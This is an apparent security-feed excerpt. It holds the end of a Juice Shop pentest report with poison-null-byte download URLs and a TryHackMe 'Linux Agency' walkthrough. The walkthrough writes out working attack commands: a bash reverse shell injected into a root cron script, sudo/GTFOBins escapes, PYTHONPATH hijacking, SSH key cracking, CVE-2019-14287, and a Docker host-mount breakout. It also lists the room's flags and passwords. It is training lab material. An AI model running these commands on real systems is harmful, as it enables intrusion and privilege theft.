alt="" src="https://cdn-images-1.medium.com/max/1024/1*oE0CHEd8TUToNy1MGhy4qg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m9UhO9JS5Hl3YCBxryIDuA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6jvJUSScWD63XiOpBgzuQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oTjbupN8n126CTwsYotbYQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KFsmogCi-BSuofuUDJ45vg.png"></figure><p>Got User credentials :)</p><h3>Suggested Remediation</h3><ul><li>Sanitize and validate all user-supplied inputs</li><li>Implement parameterized queries</li><li>Deploy a Web Application Firewall (WAF)</li><li>Enable logging &amp; monitoring</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-community/attacks/SQL_Injection">OWASP SQL Injection Prevention Cheat Sheet</a></li><li><a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89 — SQL Injection</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Documentation</a></li><li>CVSS v3.1 Specification: <a href="https://www.first.org/cvss/v3.1/">https://www.first.org/cvss/v3.1/</a></li></ol><h3>4. Arbitrary File Download via Poison Null Byte Injection</h3><h3>Summary (with CWE)</h3><p>The application is vulnerable to <strong>Poison Null Byte Injection</strong>, allowing an attacker to bypass file extension validation and download <strong>sensitive backup files</strong> stored on the server. By exploiting improper input validation and unsafe file handling, restricted backup files such as developer and salesman data can be accessed.</p><h3>CWE ID</h3><ul><li>CWE-158 — Improper Neutralization of Null Byte</li><li>CWE-22 — Improper Limitation of Pathname to Restricted Directory</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</p><p><strong>CVSS Base Score:</strong> 7.5 (High)</p><h3>Description</h3><p>OWASP Juice Shop restricts file downloads in the /ftp endpoint by validating file extensions. However, this validation can be bypassed using a <strong>Poison Null Byte (%00) injection</strong> combined with <strong>double URL encoding</strong>.</p><p>The backend improperly handles null bytes during file system access, causing the application to truncate the filename at the null byte and serve restricted backup files (e.g., .bak) while still passing extension validation checks.</p><p>This results in <strong>unauthorized access to sensitive backup files</strong>, potentially exposing configuration details, credentials, or business data.</p><h3>Steps to Reproduce:</h3><h4><strong>Access a Developer’s Forgotten Backup File:</strong></h4><ol><li>Navigate to the FTP directory: <a href="http://localhost:3000/ftp">http://localhost:3000/ftp</a></li><li>Attempt direct access (fails due to extension restriction): <a href="http://localhost:3000/ftp/package.json.bak">http://localhost:3000/ftp/package.json.bak</a></li><li>Try Poison Null Byte injection (fails initially): <a href="http://localhost:3000/ftp/package.json.bak%00.md">http://localhost:3000/ftp/package.json.bak%00.md</a></li><li>URL-encode the % character as well: <a href="http://localhost:3000/ftp/package.json.bak%2500.md">http://localhost:3000/ftp/package.json.bak%2500.md</a></li></ol><p>The server successfully returns the <strong>restricted backup file</strong>, completing the exploit.</p><h4><strong>Access a Salesman’s Forgotten Backup File</strong>:</h4><ol><li>Use the same Poison Null Byte technique: <a href="http://localhost:3000/ftp/coupons_2013.md.bak%2500.md">http://localhost:3000/ftp/coupons_2013.md.bak%2500.md</a></li><li>The backup file downloads successfully, revealing sensitive business data.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lvtP_eSL1Sza2N8_1_1Yag.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxtA320Y7ic8X98oKXa02A.png"></figure><p>Backup file downloads successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZwQ-UUtHidNkJxdbtjDSgw.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*-mITIIF8p-SjS0LxXk8ViQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Reject null bytes explicitly</li><li>Decode input before validation</li><li>Use allow-listed file access</li><li>Disable public access to backups</li><li>Use secure file APIs</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Foundation — OWASP Juice Shop</a></li><li><a href="https://cwe.mitre.org/data/definitions/158.html">CWE-158: Improper Neutralization of Null Byte</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Testing Guide — File Handling Vulnerabilities</a></li><li><a href="https://portswigger.net/web-security/file-path-traversal">PortSwigger — File Path Traversal &amp; Null Byte Attacks</a></li></ol><h3>Thanks For Reading :)</h3><p><strong>Happy Hacking ;)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=f8440a9735c1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/vapt-report-example-f8440a9735c1">VAPT Report Example</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe — Linux Agency | Complete Write-Up & Walkthrough]]></title>
<description><![CDATA[“Agent 47, your mission begins. 30 targets stand between you and the root.”Author: Shikhali JamalzadeGitHub: github.com/alisaliveLinkedIn: linkedin.com/in/camalzads📋 Room OverviewPlatform TryHackMe Room Name Linux Agency Link https://tryhackme.com/room/linuxagency Difficulty Medium Category Linux...]]></description>
<link>https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:38 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSkSbmZiLuuvwoZUpWjb2w.png"></figure><blockquote>“Agent 47, your mission begins. 30 targets stand between you and the root.”<br>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br>GitHub<strong>:</strong> <a href="https://github.com/alisalive">github.com/alisalive</a><br>LinkedIn<strong>:</strong> <a href="https://linkedin.com/in/camalzads">linkedin.com/in/camalzads</a></blockquote><h3>📋 Room Overview</h3><p><strong>Platform</strong> TryHackMe <br><strong>Room Name</strong> Linux Agency <br><strong>Link</strong> <a href="https://tryhackme.com/room/linuxagency">https://tryhackme.com/room/linuxagency</a> <br><strong>Difficulty</strong> Medium <br><strong>Category</strong> Linux Fundamentals + Privilege Escalation <br><strong>Initial Access</strong> SSH (agent47)</p><h3>🎯 About This Room</h3><p><strong>Linux Agency</strong> is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of <strong>Agent 47</strong> — a secret agent tasked with infiltrating the ICA Agency, chaining through <strong>30 mission accounts</strong>, eliminating special targets, and ultimately achieving <strong>root</strong>.</p><p>This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:</p><ul><li>🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)</li><li>💻 Multiple programming languages (Python, Ruby, Java, C)</li><li>🔐 Encoding/decoding (Base64, Binary, Hex)</li><li>📅 Cron job exploitation</li><li>⚡ Sudo privilege escalation via GTFOBins</li><li>🐳 Docker privilege escalation</li><li>🔑 SSH private key cracking</li></ul><h3>🛠️ Tools Used</h3><ul><li>ssh, su, find, grep, cat, ls, strings, file</li><li>base64, xxd</li><li>gcc, javac, java, python3, ruby</li><li>netcat (nc)</li><li>ssh2john + john (John the Ripper)</li><li>ss (socket statistics)</li><li>GTFOBins</li><li>Docker</li></ul><h3>⚙️ Setup</h3><p>Start the machine on TryHackMe and wait about a minute. Then connect:</p><pre>ssh agent47@&lt;MACHINE_IP&gt;</pre><p><strong>Password:</strong> 640509040147</p><p>Once connected you’ll see:</p><pre>agent47@linuxagency:~$</pre><p>The mission begins. 🚀</p><h3>🗂️ Task 2: Initial Access</h3><p>The room’s mechanic is straightforward:</p><ul><li>Every flag found acts as the <strong>password</strong> for the next user</li><li>Flag format: missionX{md5_hash}</li><li>Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...</li></ul><h3>🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)</h3><h3>🎯 Mission 1</h3><p>As <strong>agent47</strong>, the first task is finding mission1’s flag.</p><pre>find / -type f -name "*.txt" 2&gt;/dev/null<br># Or directly check:<br>ls /home/mission1/<br>cat /home/mission1/&lt;flag_file&gt;</pre><p>Now switch to mission1:</p><pre>su mission1<br># Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>find for filesystem-wide searching, understanding the </em><em>/home directory structure.</em></blockquote><h3>🎯 Mission 2</h3><p>As <strong>mission1</strong>:</p><pre>find / -type f -name "mission2" 2&gt;/dev/null<br>cat &lt;found_path&gt;</pre><pre>su mission2<br># Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}</pre><h3>🎯 Mission 3</h3><pre># As mission2:<br>grep -r "mission3" . 2&gt;/dev/null</pre><pre>su mission3<br># Password: mission3{ab1e1ae5cba688340825103f70b0f976}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>grep -r for recursive content searching across directories.</em></blockquote><h3>🎯 Mission 4</h3><pre># As mission3:<br>cd /home/mission3<br>ls<br>cat flag.txt</pre><pre>su mission4<br># Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}</pre><h3>🎯 Missions 5–8</h3><p>These follow a similar pattern — searching the filesystem:</p><pre># As mission4:<br>grep -r "mission5" / 2&gt;/dev/null<br>su mission5<br># Password: mission5{bc67906710c3a376bcc7bd25978f62c0}</pre><pre># As mission5:<br>grep -r "mission6" / 2&gt;/dev/null<br>su mission6<br># Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}</pre><pre># As mission6:<br>grep -r "mission7" / 2&gt;/dev/null<br>su mission7<br># Password: mission7{53fd6b2bad6e85519c7403267225def5}</pre><pre># As mission7:<br>grep -r "mission8" / 2&gt;/dev/null<br>su mission8<br># Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}</pre><h3>🎯 Mission 9</h3><pre># As mission8:<br>ls<br>cat flag.txt</pre><pre>su mission9<br># Password: mission9{ba1069363d182e1c114bef7521c898f5}</pre><h3>🎯 Missions 10–11</h3><pre># As mission9:<br>grep -r "mission10" / 2&gt;/dev/null<br>su mission10<br># Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}</pre><pre># As mission10:<br>grep -r "mission11" / 2&gt;/dev/null<br>su mission11<br># Password: mission11{db074d9b68f06246944b991d433180c0}</pre><h3>🎯 Mission 12 — Environment Variable</h3><p>This time the flag is hidden inside an <strong>environment variable</strong>, not a file!</p><pre># As mission11:<br>env | grep mission12</pre><pre>su mission12<br># Password: mission12{f449a1d33d6edc327354635967f9a720}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!</em></blockquote><h3>🎯 Mission 13 — File Permissions</h3><pre># As mission12:<br>ls -la /home/mission12/<br># flag.txt exists but you have no read permission!<br>chmod 777 /home/mission12/flag.txt<br>cat /home/mission12/flag.txt</pre><pre>su mission13<br># Password: mission13{076124e360406b4c98ecefddd13ddb1f}</pre><blockquote><strong>💡 What we learned:</strong><em> Linux file permissions and </em><em>chmod. Always use </em><em>ls -la — the </em><em>-a flag reveals hidden files and the </em><em>-l flag shows permissions clearly.</em></blockquote><h3>🎯 Mission 14 — Base64 Decode</h3><pre># As mission13:<br>cat /home/mission13/flag.txt | base64 -d</pre><pre>su mission14<br># Password: mission14{d598de95639514b9941507617b9e54d2}</pre><blockquote><strong>💡 What we learned:</strong><em> Base64 encoding/decoding. Strings ending with </em><em>= or </em><em>== are almost always Base64-encoded. The </em><em>base64 -d flag decodes them directly in the terminal.</em></blockquote><h3>🎯 Mission 15 — Binary → ASCII</h3><pre># As mission14:<br>cat /home/mission14/flag.txt<br># You'll see binary digits: 01101101 01101001 ...</pre><p>Convert the binary to ASCII using Python:</p><pre>python3 -c "<br>binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'<br>chars = binary.split()<br>result = ''.join([chr(int(b, 2)) for b in chars])<br>print(result)<br>"</pre><p>Or use an online tool: <a href="https://www.rapidtables.com/convert/number/binary-to-ascii.html">https://www.rapidtables.com/convert/number/binary-to-ascii.html</a></p><pre>su mission15<br># Password: mission15{fc4915d818bfaeff01185c3547f25596}</pre><blockquote><strong>💡 What we learned:</strong><em> Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.</em></blockquote><h3>🎯 Mission 16 — Hex → ASCII</h3><pre># As mission15:<br>cat /home/mission15/flag.txt | xxd -r -p</pre><p>xxd -r -p converts a raw hex string directly back to ASCII.</p><pre>su mission16<br># Password: mission16{884417d40033c4c2091b44d7c26a908e}</pre><blockquote><strong>💡 What we learned:</strong><em> Hex decoding. </em><em>xxd dumps hex (-p for plain hex), and with </em><em>-r it reverses the process.</em></blockquote><h3>🎯 Mission 17 — Execute Permission</h3><pre># As mission16:<br>ls -la /home/mission16/<br># There's a 'flag' binary but it has no execute permission<br>chmod u+x /home/mission16/flag<br>./flag</pre><pre>su mission17<br># Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}</pre><h3>🎯 Mission 18 — Java</h3><pre># As mission17:<br>ls /home/mission17/<br># flag.java found<br>cd /home/mission17/<br>javac flag.java      # Compile<br>java flag            # Run</pre><pre>su mission18<br># Password: mission18{f09760649986b489cda320ab5f7917e8}</pre><blockquote><strong>💡 What we learned:</strong><em> Java compilation workflow: </em><em>javac compiles </em><em>.java → </em><em>.class, then </em><em>java runs the class.</em></blockquote><h3>🎯 Mission 19 — Ruby</h3><pre># As mission18:<br>ruby /home/mission18/flag.rb</pre><pre>su mission19<br># Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}</pre><h3>🎯 Mission 20 — C Language</h3><pre># As mission19:<br>cd /home/mission19/<br>gcc flag.c -o flag   # Compile<br>./flag               # Run</pre><pre>su mission20<br># Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}</pre><blockquote><strong>💡 What we learned:</strong><em> C compilation: </em><em>gcc source.c -o output_name then </em><em>./output_name to execute.</em></blockquote><h3>🎯 Mission 21 — Python</h3><pre># As mission20:<br>python3 /home/mission20/flag.py</pre><pre>su mission21<br># Password: mission21{7de756aabc528b446f6eb38419318f0c}</pre><h3>🎯 Mission 22 — Restricted Shell Escape (script)</h3><p>When you log in as <strong>mission21</strong>, you’re dropped into a restricted shell. Escape using:</p><pre>script -qc /bin/bash /dev/null</pre><p>This spawns a full bash shell. Now check .bashrc:</p><pre>cat ~/.bashrc<br># You'll find a Base64-encoded string<br>echo '&lt;base64_string&gt;' | base64 -d</pre><pre>su mission22<br># Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}</pre><blockquote><strong>💡 What we learned:</strong><em> Restricted shell escape using the </em><em>script command, which opens a new terminal session. Always check </em><em>.bashrc and </em><em>.bash_profile — attackers hide data there, and defenders do too.</em></blockquote><h3>🎯 Mission 23 — Python Interpreter Shell Escape</h3><p>Logging in as <strong>mission22</strong> drops you into a Python REPL. Escape to bash:</p><pre>import pty<br>pty.spawn("/bin/bash")</pre><p>Now read the flag:</p><pre>cat /home/mission22/flag.txt</pre><pre>su mission23<br># Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}</pre><blockquote><strong>💡 What we learned:</strong><em> Python </em><em>pty.spawn() for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!</em></blockquote><h3>🎯 Mission 24 — Virtual Host + cURL</h3><pre># As mission23:<br>cat /home/mission23/message.txt<br>cat /etc/hosts<br># You'll see mission24.com mapped to 127.0.0.1<br>curl http://mission24.com -s | grep mission</pre><pre>su mission24<br># Password: mission24{dbaeb06591a7fd6230407df3a947b89c}</pre><blockquote><strong>💡 What we learned:</strong><em> Virtual hosting — the </em><em>/etc/hosts file acts as a local DNS resolver. In real engagements, always check </em><em>/etc/hosts for internal hostnames that reveal additional attack surface.</em></blockquote><h3>🎯 Mission 25 — Binary Analysis + viminfo</h3><pre># As mission24:<br>ls /home/mission24/<br>file bribe              # Check the file type<br>./bribe                 # Execute it — it writes to .viminfo<br>grep mission /home/mission24/.viminfo</pre><pre>su mission25<br># Password: mission25{61b93637881c87c71f220033b22a921b}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>file command identifies file types regardless of extension. </em><em>.viminfo is a hidden file storing Vim history — always run </em><em>ls -la to catch hidden files!</em></blockquote><h3>🎯 Mission 26 — PATH Manipulation</h3><p>Logging in as <strong>mission25</strong> gives you a broken environment — commands don’t work because $PATH is corrupted.</p><pre>echo $PATH<br># Empty or wrong PATH</pre><pre>export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin<br>ls -lhA<br>cat flag.txt</pre><pre>su mission26<br># Password: mission26{cb6ce977c16c57f509e9f8462a120f00}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>$PATH environment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.</em></blockquote><h3>🎯 Mission 27 — Steganography with strings</h3><pre># As mission26:<br>ls /home/mission26/<br>strings -n 20 /home/mission26/flag.jpg</pre><p>strings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.</p><pre>su mission27<br># Password: mission27{444d29b932124a48e7dddc0595788f4d}</pre><blockquote><strong>💡 What we learned:</strong><em> Basic steganography — data hidden inside image files. </em><em>strings is a quick first step when analyzing any binary or media file during a CTF or real engagement.</em></blockquote><h3>🎯 Mission 28 — Absurdly Long Filename</h3><pre># As mission27:<br>ls /home/mission27/<br>less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz</pre><p>Yes, the filename is exactly that long. less handles it fine.</p><pre>su mission28<br># Password: mission28{03556f8ca983ef4dc26d2055aef9770f}</pre><h3>🎯 Mission 29 — Ruby Interpreter + Reverse String</h3><p>Logging in as <strong>mission28</strong> drops you into a Ruby REPL.</p><p><strong>Option 1 — Escape to shell:</strong></p><pre>exec "/bin/bash"</pre><p><strong>Option 2 — Read the file directly from Ruby:</strong></p><pre>Dir.chdir("/home/mission28")<br>puts File.open("txt.galf").readlines</pre><p>The flag is written in reverse! You’ll see something like:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'</pre><p>Reverse it:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse</pre><pre>su mission29<br># Password: mission29{8192b05d8b12632586e25be74da2fff1}</pre><blockquote><strong>💡 What we learned:</strong><em> Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename </em><em>txt.galf — that's </em><em>flag.txt reversed!</em></blockquote><h3>🎯 Mission 30 — Bludit CMS Enumeration</h3><pre># As mission29:<br>ls /home/mission29/<br>grep -rn "mission30" /home/mission29/bludit/</pre><p>The flag is buried inside Bludit CMS’s file structure.</p><pre>su mission30<br># Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}</pre><h3>🎯 Viktor — Git History</h3><pre># As mission30:<br>ls /home/mission30/<br>cd /home/mission30/Escalator/<br>git --no-pager log</pre><p>Browse the git commit history — the flag is hidden in there.</p><pre>su viktor<br># Password: viktor{b52c60124c0f8f85fe647021122b3d9a}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>git log reveals commit history. In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.</em></blockquote><h3>🔓 Task 4: Privilege Escalation</h3><p>You’re now <strong>viktor</strong>. The “special targets” phase begins — each user requires a different privilege escalation technique.</p><h3>🎯 Dalia — Cron Job Exploitation</h3><pre># As viktor:<br>cat /etc/crontab</pre><p>Output:</p><pre>* * * * * root bash /opt/scripts/47.sh</pre><p>Root runs /opt/scripts/47.sh every minute. Check the script and your permissions:</p><pre>cat /opt/scripts/47.sh<br>ls -la /opt/scripts/47.sh<br># You have write access!</pre><p><strong>Step 1:</strong> Create your reverse shell payload:</p><pre>vim /tmp/eop.sh</pre><p>Contents:</p><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/127.0.0.1/9999 0&gt;&amp;1</pre><p><strong>Step 2:</strong> Base64-encode it and overwrite the cron script:</p><pre>cat /tmp/eop.sh | base64 -w 0<br># Copy the output, then:<br>echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d &gt; /opt/scripts/47.sh</pre><p><strong>Step 3:</strong> Set up your listener:</p><pre>nc -nlvp 9999</pre><p>Wait up to 60 seconds. The cron job fires and you get a shell as <strong>dalia</strong>:</p><pre># In the received shell:<br>id<br># uid=1000(dalia) ...<br>cat /home/dalia/flag.txt</pre><p><strong>Upgrade the shell (important for stability):</strong></p><pre>python3 -c 'import pty;pty.spawn("/bin/bash")'<br>export TERM=xterm<br>export SHELL=bash<br># Press Ctrl+Z<br>stty raw -echo; fg</pre><p>Flag: dalia{4a94a7a7bb4a819a63a33979926c77dc}</p><blockquote><strong>💡 What we learned:</strong><em> Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate </em><em>/etc/crontab, </em><em>/etc/cron.d/, and </em><em>/var/spool/cron/.</em></blockquote><h3>🎯 Silvio — sudo + zip (GTFOBins)</h3><pre># As dalia:<br>sudo -l<br># (dalia) NOPASSWD: /usr/bin/zip as silvio</pre><p>From GTFOBins — zip sudo escape:</p><pre>TF=$(mktemp -u)<br>sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'</pre><pre>id<br># uid=... (silvio)<br>cat /home/silvio/flag.txt</pre><p>Flag: silvio{657b4d058c03ab9988875bc937f9c2ef}</p><blockquote><strong>💡 What we learned:</strong><em> </em><a href="https://gtfobins.github.io/"><em>GTFOBins</em></a><em> — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see </em><em>sudo -l, immediately cross-reference every allowed binary against GTFOBins.</em></blockquote><h3>🎯 Reza — sudo + git (GTFOBins)</h3><pre># As silvio:<br>sudo -l<br># (silvio) NOPASSWD: /usr/bin/git as reza</pre><p>GTFOBins git sudo escape (uses PAGER environment variable):</p><pre>sudo -u reza PAGER='sh -c "exec sh 0&lt;&amp;1"' git -p help</pre><pre>id<br># uid=... (reza)<br>cat /home/reza/flag.txt</pre><p>Flag: reza{2f1901644eda75306f3142d837b80d3e}</p><blockquote><strong>💡 What we learned:</strong><em> Git’s </em><em>--paginate (</em><em>-p) feature invokes a pager, and by hijacking the </em><em>PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.</em></blockquote><h3>🎯 Jordan — PYTHONPATH Hijacking</h3><pre># As reza:<br>sudo -l<br># (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan</pre><p>Run the script:</p><pre>sudo -u jordan /opt/scripts/Gun-Shop.py<br># Error: No module named 'shop'</pre><p>The script imports a module called shop which doesn't exist. We can create it in a directory we control:</p><p><strong>Step 1:</strong> Create a malicious shop module:</p><pre>mkdir -p /tmp/shop<br>echo 'import os; os.system("/bin/bash")' &gt; /tmp/shop/shop.py</pre><p><strong>Step 2:</strong> Override PYTHONPATH so Python finds our module first:</p><pre>sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py</pre><pre>id<br># uid=... (jordan)<br>cat /home/jordan/flag.txt</pre><p>Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}</p><blockquote><strong>💡 What we learned:</strong><em> Python module hijacking — a real-world PrivEsc technique. </em><em>PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.</em></blockquote><h3>🎯 Ken — sudo + less (GTFOBins)</h3><pre># As jordan:<br>sudo -l<br># (jordan) NOPASSWD: /usr/bin/less as ken</pre><pre>sudo -u ken /usr/bin/less /etc/profile</pre><p>Once less opens, type ! followed by:</p><pre>!/bin/sh</pre><p>Press Enter — you drop into a shell as <strong>ken</strong>.</p><pre>id<br>cat /home/ken/flag.txt</pre><p>Flag: ken{4115bf456d1aaf012ed4550c418ba99f}</p><h3>🎯 Sean — sudo + vim (GTFOBins)</h3><pre># As ken:<br>sudo -l<br># (ken) NOPASSWD: /usr/bin/vim as sean</pre><pre>sudo -u sean vim -c ':!/bin/sh'</pre><p>The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.</p><pre>id<br>cat /home/sean/flag.txt</pre><p>Flag: sean{4c5685f4db7966a43cf8e95859801281}</p><blockquote><strong>💡 What we learned:</strong><em> Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting </em><em>sudo vim to any user is effectively granting root.</em></blockquote><h3>🎯 Penelope — Password Hidden in Base64</h3><pre># As sean:<br>printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d<br># Output: "The password of penelope is p3nelope"</pre><pre>su penelope<br># Password: p3nelope<br>cat /home/penelope/flag.txt</pre><p>Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}</p><h3>🎯 Maya — SUID base64 (GTFOBins)</h3><pre># As penelope:<br>ls -lhA /home/penelope/<br># A 'base64' binary with the SUID bit set!</pre><p>GTFOBins SUID base64 exploit — read files as the binary’s owner:</p><pre>LFILE=/home/maya/flag.txt<br>./base64 "$LFILE" | base64 -d</pre><p>Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}</p><blockquote><strong>💡 What we learned:</strong><em> SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: </em><em>find / -perm -4000 2&gt;/dev/null. Cross-reference every result with GTFOBins.</em></blockquote><h3>🎯 Robert — SSH Private Key Cracking</h3><pre># As maya:<br>ls -lhA /home/maya/<br>ls -lhA /home/maya/old_robert_ssh/<br># id_rsa and id_rsa.pub found</pre><p><strong>Step 1:</strong> Copy the private key to your local machine (new terminal tab):</p><pre>scp maya@&lt;IP&gt;:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert<br>chmod 600 id_rsa_robert</pre><p><strong>Step 2:</strong> Convert the key to a crackable hash:</p><pre>ssh2john id_rsa_robert &gt; robert_ssh_hash.txt</pre><p><strong>Step 3:</strong> Crack it with John the Ripper:</p><pre>john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><p><strong>Result:</strong> industryweapon</p><p><strong>Step 4:</strong> Find Robert’s SSH port on the target:</p><pre># On the target machine:<br>ss -nlpt | grep 22<br># Port 2222 is listening</pre><p><strong>Step 5:</strong> Connect:</p><pre>ssh robert@127.0.0.1 -p 2222 -i id_rsa_robert<br># Passphrase: industryweapon<br>cat /home/robert/user.txt</pre><p>Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}</p><blockquote><strong>💡 What we learned:</strong><em> SSH private key cracking — </em><em>ssh2john extracts the hash, </em><em>john cracks it. In real engagements, always look for </em><em>id_rsa files in home directories, backup folders, and </em><em>.ssh/ directories. Encrypted keys with weak passphrases are a common finding.</em></blockquote><h3>👑 Root — Two-Stage Escalation</h3><h3>Stage 1: CVE-2019–14287 (Sudo User ID Bypass)</h3><pre># As robert:<br>sudo --version<br># Reveals a vulnerable version (&lt; 1.8.28)<br>sudo -u#-1 /bin/bash<br>whoami<br># root!</pre><p><strong>How it works:</strong> This is <strong>CVE-2019–14287</strong>. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.</p><pre>cd /root<br>ls</pre><h3>Stage 2: Docker Group → Root (root.txt)</h3><pre># As root (inside the container/restricted environment):<br>id<br># You're in the docker group<br>find / -name docker 2&gt;/dev/null<br># Found at /tmp/docker or similar<br>./docker ps -a<br>./docker image ls<br># "mangoman" image exists</pre><p>Mount the host filesystem into a container and chroot into it:</p><pre>./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh</pre><pre>id<br># uid=0(root) gid=0(root) — TRUE host root<br>cat /root/root.txt</pre><p>Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}</p><blockquote><strong>💡 What we learned:</strong><em> Docker group membership is equivalent to root access. </em><em>-v /:/mnt mounts the entire host filesystem into the container, and </em><em>chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the </em><em>docker group.</em></blockquote><h3>🏆 Flags Summary</h3><p>User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout</p><h3>🧠 Key Takeaways</h3><p><strong>Linux 